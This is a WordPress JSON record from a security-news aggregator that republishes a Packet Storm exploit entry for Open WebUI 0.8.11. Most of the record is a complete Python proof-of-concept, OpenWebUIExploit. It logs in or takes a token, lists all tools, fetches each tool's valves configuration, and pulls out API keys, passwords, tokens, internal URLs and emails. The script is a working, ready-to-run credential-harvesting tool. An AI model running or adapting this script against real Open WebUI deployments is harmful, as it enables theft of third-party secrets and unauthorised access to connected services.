{"id":49296,"date":"2026-04-24T16:48:00","date_gmt":"2026-04-24T16:48:00","guid":{"rendered":"http:\/\/localhost\/?p=49296"},"modified":"2026-04-24T16:48:00","modified_gmt":"2026-04-24T16:48:00","slug":"open-webui-0811-information-disclosure","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=49296","title":{"rendered":"\ud83d\udcc4 Open WebUI 0.8.11 Information Disclosure_PACKETSTORM:219780"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-24T20:44:19&#8243;,&#8221;description&#8221;:&#8221;A potential access control issue was identified in Open WebUI where the Tools API and associated \u201cvalves\u201d endpoints may expose sensitive configuration data when accessed with valid authentication tokens. The affected endpoints allow retrieval of tool&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-24T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-24T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Open WebUI 0.8.11 Information Disclosure&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:219780&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : Open WebUI 0.8.11 Improper Access Control in Tools Valves API Leads to Exposure of Sensitive Configuration Data  |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/github.com\/open-webui\/open-webui                                                                         |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : A potential access control issue was identified in Open WebUI where the Tools API and associated \u201cvalves\u201d endpoints may expose sensitive configuration data when accessed with valid authentication tokens. \\n                     The affected endpoints allow retrieval of tool metadata and configuration structures that may include secrets such as API keys, passwords, tokens, endpoints, and internal service URLs.\\n    \\n    [+] POC        :  \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import requests\\n    import json\\n    import sys\\n    import argparse\\n    from typing import Dict, List, Optional\\n    from urllib.parse import urljoin\\n    \\n    \\n    class OpenWebUIExploit:\\n        def __init__(self, base_url: str, token: str, verbose: bool = False):\\n            self.base_url = base_url.rstrip(&#8216;\/&#8217;)\\n            self.token = token\\n            self.verbose = verbose\\n            self.session = requests.Session()\\n            self.session.headers.update({\\n                &#8216;Authorization&#8217;: f&#8217;Bearer {token}&#8217;,\\n                &#8216;Content-Type&#8217;: &#8216;application\/json&#8217;\\n            })\\n    \\n        def log(self, message: str, level: str = \\&#8221;INFO\\&#8221;):\\n            if not self.verbose and level == \\&#8221;DEBUG\\&#8221;:\\n                return\\n    \\n            colors = {\\n                \\&#8221;INFO\\&#8221;: \\&#8221;\\\\033[94m\\&#8221;,\\n                \\&#8221;SUCCESS\\&#8221;: \\&#8221;\\\\033[92m\\&#8221;,\\n                \\&#8221;ERROR\\&#8221;: \\&#8221;\\\\033[91m\\&#8221;,\\n                \\&#8221;WARNING\\&#8221;: \\&#8221;\\\\033[93m\\&#8221;,\\n                \\&#8221;DEBUG\\&#8221;: \\&#8221;\\\\033[90m\\&#8221;\\n            }\\n            print(f\\&#8221;{colors.get(level, &#8221;)}[{level}] {message}\\\\033[0m\\&#8221;)\\n    \\n        def get_all_tools(self) -\\u003e List[Dict]:\\n            try:\\n                url = urljoin(self.base_url, &#8216;\/api\/v1\/tools\/&#8217;)\\n                response = self.session.get(url)\\n    \\n                if response.status_code == 200:\\n                    try:\\n                        tools = response.json()\\n                        if isinstance(tools, dict):\\n                            tools = tools.get(\\&#8221;data\\&#8221;, [])\\n                        self.log(f\\&#8221;Found {len(tools)} tools\\&#8221;, \\&#8221;SUCCESS\\&#8221;)\\n                        return tools\\n                    except:\\n                        self.log(\\&#8221;Invalid JSON response\\&#8221;, \\&#8221;ERROR\\&#8221;)\\n                        return []\\n                else:\\n                    self.log(f\\&#8221;Failed to get tools: {response.status_code}\\&#8221;, \\&#8221;ERROR\\&#8221;)\\n                    return []\\n            except Exception as e:\\n                self.log(f\\&#8221;Error getting tools: {e}\\&#8221;, \\&#8221;ERROR\\&#8221;)\\n                return []\\n    \\n        def get_tool_valves(self, tool_id: str) -\\u003e Optional[Dict]:\\n            try:\\n                url = urljoin(self.base_url, f&#8217;\/api\/v1\/tools\/id\/{tool_id}\/valves&#8217;)\\n                response = self.session.get(url)\\n    \\n                if response.status_code == 200:\\n                    try:\\n                        valves = response.json()\\n                        self.log(f\\&#8221;Extracted valves for: {tool_id}\\&#8221;, \\&#8221;SUCCESS\\&#8221;)\\n                        return valves\\n                    except:\\n                        self.log(\\&#8221;Invalid valves JSON\\&#8221;, \\&#8221;ERROR\\&#8221;)\\n                        return None\\n    \\n                elif response.status_code == 404:\\n                    self.log(f\\&#8221;Tool not found: {tool_id}\\&#8221;, \\&#8221;WARNING\\&#8221;)\\n                    return None\\n    \\n                else:\\n                    self.log(f\\&#8221;Failed valves request: {response.status_code}\\&#8221;, \\&#8221;ERROR\\&#8221;)\\n                    return None\\n    \\n            except Exception as e:\\n                self.log(f\\&#8221;Error getting valves: {e}\\&#8221;, \\&#8221;ERROR\\&#8221;)\\n                return None\\n    \\n        def extract_sensitive_data(self, valves: Dict) -\\u003e Dict:\\n            sensitive = {\\n                \\&#8221;api_keys\\&#8221;: [],\\n                \\&#8221;passwords\\&#8221;: [],\\n                \\&#8221;tokens\\&#8221;: [],\\n                \\&#8221;secrets\\&#8221;: [],\\n                \\&#8221;urls\\&#8221;: [],\\n                \\&#8221;emails\\&#8221;: []\\n            }\\n    \\n            api_key_patterns = [&#8216;api_key&#8217;, &#8216;apikey&#8217;, &#8216;api-key&#8217;, &#8216;apiKey&#8217;]\\n            password_patterns = [&#8216;password&#8217;, &#8216;pass&#8217;, &#8216;pwd&#8217;, &#8216;secret&#8217;]\\n            url_patterns = [&#8216;url&#8217;, &#8216;endpoint&#8217;, &#8216;host&#8217;, &#8216;server&#8217;]\\n            email_patterns = [&#8217;email&#8217;, &#8216;user&#8217;]\\n    \\n            def scan_value(key: str, value, depth=0):\\n                if depth \\u003e 10:\\n                    return\\n    \\n                key_lower = str(key).lower()\\n    \\n                if isinstance(value, str):\\n    \\n                    if any(p in key_lower for p in api_key_patterns):\\n                        sensitive[\\&#8221;api_keys\\&#8221;].append({key: value})\\n                    if any(p in key_lower for p in password_patterns):\\n                        sensitive[\\&#8221;passwords\\&#8221;].append({key: value})\\n                    if any(p in key_lower for p in url_patterns) and \\&#8221;http\\&#8221; in value:\\n                        sensitive[\\&#8221;urls\\&#8221;].append({key: value})\\n                    if any(p in key_lower for p in email_patterns) and \\&#8221;@\\&#8221; in value:\\n                        sensitive[\\&#8221;emails\\&#8221;].append({key: value})\\n    \\n                elif isinstance(value, dict):\\n                    for k, v in value.items():\\n                        scan_value(k, v, depth + 1)\\n    \\n                elif isinstance(value, list):\\n                    for i, item in enumerate(value):\\n                        scan_value(str(i), item, depth + 1)\\n    \\n            for k, v in valves.items():\\n                scan_value(k, v)\\n    \\n            return sensitive\\n    \\n        def exploit(self, tool_id: Optional[str] = None) -\\u003e Dict:\\n            results = {\\n                \\&#8221;success\\&#8221;: False,\\n                \\&#8221;tools_examined\\&#8221;: [],\\n                \\&#8221;sensitive_data\\&#8221;: []\\n            }\\n    \\n            if tool_id:\\n                valves = self.get_tool_valves(tool_id)\\n    \\n                if valves:\\n                    sensitive = self.extract_sensitive_data(valves)\\n    \\n                    results[\\&#8221;tools_examined\\&#8221;].append(tool_id)\\n                    results[\\&#8221;sensitive_data\\&#8221;].append({\\n                        \\&#8221;tool_id\\&#8221;: tool_id,\\n                        \\&#8221;valves\\&#8221;: valves,\\n                        \\&#8221;sensitive\\&#8221;: sensitive\\n                    })\\n                    if any(sensitive.values()):\\n                        results[\\&#8221;success\\&#8221;] = True\\n    \\n            else:\\n                tools = self.get_all_tools()\\n    \\n                if not tools:\\n                    self.log(\\&#8221;No tools found\\&#8221;, \\&#8221;WARNING\\&#8221;)\\n                    return results\\n    \\n                for tool in tools:\\n                    tool_id = tool.get(&#8216;id&#8217;)\\n                    tool_name = tool.get(&#8216;name&#8217;, &#8216;Unknown&#8217;)\\n    \\n                    if not tool_id:\\n                        continue\\n    \\n                    valves = self.get_tool_valves(tool_id)\\n    \\n                    if not valves:\\n                        continue\\n    \\n                    sensitive = self.extract_sensitive_data(valves)\\n    \\n                    results[\\&#8221;tools_examined\\&#8221;].append(tool_id)\\n                    results[\\&#8221;sensitive_data\\&#8221;].append({\\n                        \\&#8221;tool_id\\&#8221;: tool_id,\\n                        \\&#8221;tool_name\\&#8221;: tool_name,\\n                        \\&#8221;valves\\&#8221;: valves,\\n                        \\&#8221;sensitive\\&#8221;: sensitive\\n                    })\\n    \\n                    if any(sensitive.values()):\\n                        results[\\&#8221;success\\&#8221;] = True\\n                        self.log(f\\&#8221;Sensitive data found in {tool_name}\\&#8221;, \\&#8221;WARNING\\&#8221;)\\n    \\n            return results\\n    \\n    \\n    def print_results(results: Dict):\\n        print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221; * 70)\\n        print(\\&#8221;RESULTS\\&#8221;)\\n        print(\\&#8221;=\\&#8221; * 70)\\n    \\n        if not results[\\&#8221;success\\&#8221;]:\\n            print(\\&#8221;\\\\n[-] No sensitive data found\\&#8221;)\\n            return\\n    \\n        for item in results[\\&#8221;sensitive_data\\&#8221;]:\\n            print(\\&#8221;\\\\n\\&#8221; + \\&#8221;-\\&#8221; * 50)\\n            print(f\\&#8221;Tool: {item.get(&#8216;tool_name&#8217;, item.get(&#8216;tool_id&#8217;))}\\&#8221;)\\n    \\n            sensitive = item.get(\\&#8221;sensitive\\&#8221;, {})\\n    \\n            for key, values in sensitive.items():\\n                if values:\\n                    print(f\\&#8221;\\\\n[!] {key.upper()}:\\&#8221;)\\n                    for v in values:\\n                        print(f\\&#8221;    {v}\\&#8221;)\\n    \\n        print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221; * 70)\\n    \\n    \\n    def get_token_from_login(base_url: str, email: str, password: str) -\\u003e Optional[str]:\\n        try:\\n            url = urljoin(base_url, &#8216;\/api\/v1\/auths\/signin&#8217;)\\n            r = requests.post(url, json={\\&#8221;email\\&#8221;: email, \\&#8221;password\\&#8221;: password})\\n    \\n            if r.status_code == 200:\\n                return r.json().get(\\&#8221;token\\&#8221;)\\n    \\n        except:\\n            pass\\n    \\n        return None\\n    \\n    \\n    def main():\\n        parser = argparse.ArgumentParser()\\n        parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;url&#8217;, required=True)\\n        parser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;token&#8217;)\\n        parser.add_argument(&#8216;-e&#8217;, &#8216;&#8211;email&#8217;)\\n        parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;password&#8217;)\\n        parser.add_argument(&#8216;-i&#8217;, &#8216;&#8211;tool-id&#8217;)\\n        parser.add_argument(&#8216;-v&#8217;, &#8216;&#8211;verbose&#8217;, action=&#8217;store_true&#8217;)\\n    \\n        args = parser.parse_args()\\n    \\n        token = args.token\\n    \\n        if not token and args.email and args.password:\\n            token = get_token_from_login(args.url, args.email, args.password)\\n    \\n        if not token:\\n            print(\\&#8221;[-] No token provided\\&#8221;)\\n            sys.exit(1)\\n    \\n        exploit = OpenWebUIExploit(args.url, token, args.verbose)\\n        results = exploit.exploit(args.tool_id)\\n    \\n        print_results(results)\\n    \\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/219780&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/219780\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-24T20:44:19&#8243;,&#8221;description&#8221;:&#8221;A potential access control issue was identified in Open WebUI where the Tools API and associated \u201cvalves\u201d endpoints may expose sensitive configuration data when accessed&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-49296","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Open WebUI 0.8.11 Information Disclosure_PACKETSTORM:219780 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=49296\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Open WebUI 0.8.11 Information Disclosure_PACKETSTORM:219780 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-24T20:44:19&#8243;,&#8221;description&#8221;:&#8221;A potential access control issue was identified in Open WebUI where the Tools API and associated \u201cvalves\u201d endpoints may expose sensitive configuration data when accessed...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=49296\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-24T16:48:00+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49296#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49296\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Open WebUI 0.8.11 Information Disclosure_PACKETSTORM:219780\",\"datePublished\":\"2026-04-24T16:48:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49296\"},\"wordCount\":1345,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=49296#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49296\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49296\",\"name\":\"\ud83d\udcc4 Open WebUI 0.8.11 Information Disclosure_PACKETSTORM:219780 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-24T16:48:00+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49296#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=49296\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49296#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Open WebUI 0.8.11 Information Disclosure_PACKETSTORM:219780\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Open WebUI 0.8.11 Information Disclosure_PACKETSTORM:219780 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=49296","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Open WebUI 0.8.11 Information Disclosure_PACKETSTORM:219780 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-24T20:44:19&#8243;,&#8221;description&#8221;:&#8221;A potential access control issue was identified in Open WebUI where the Tools API and associated \u201cvalves\u201d endpoints may expose sensitive configuration data when accessed...","og_url":"https:\/\/zero.redgem.net\/?p=49296","og_site_name":"zero redgem","article_published_time":"2026-04-24T16:48:00+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=49296#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=49296"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Open WebUI 0.8.11 Information Disclosure_PACKETSTORM:219780","datePublished":"2026-04-24T16:48:00+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=49296"},"wordCount":1345,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=49296#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=49296","url":"https:\/\/zero.redgem.net\/?p=49296","name":"\ud83d\udcc4 Open WebUI 0.8.11 Information Disclosure_PACKETSTORM:219780 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-24T16:48:00+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=49296#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=49296"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=49296#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Open WebUI 0.8.11 Information Disclosure_PACKETSTORM:219780"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/49296","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=49296"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/49296\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=49296"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=49296"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=49296"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}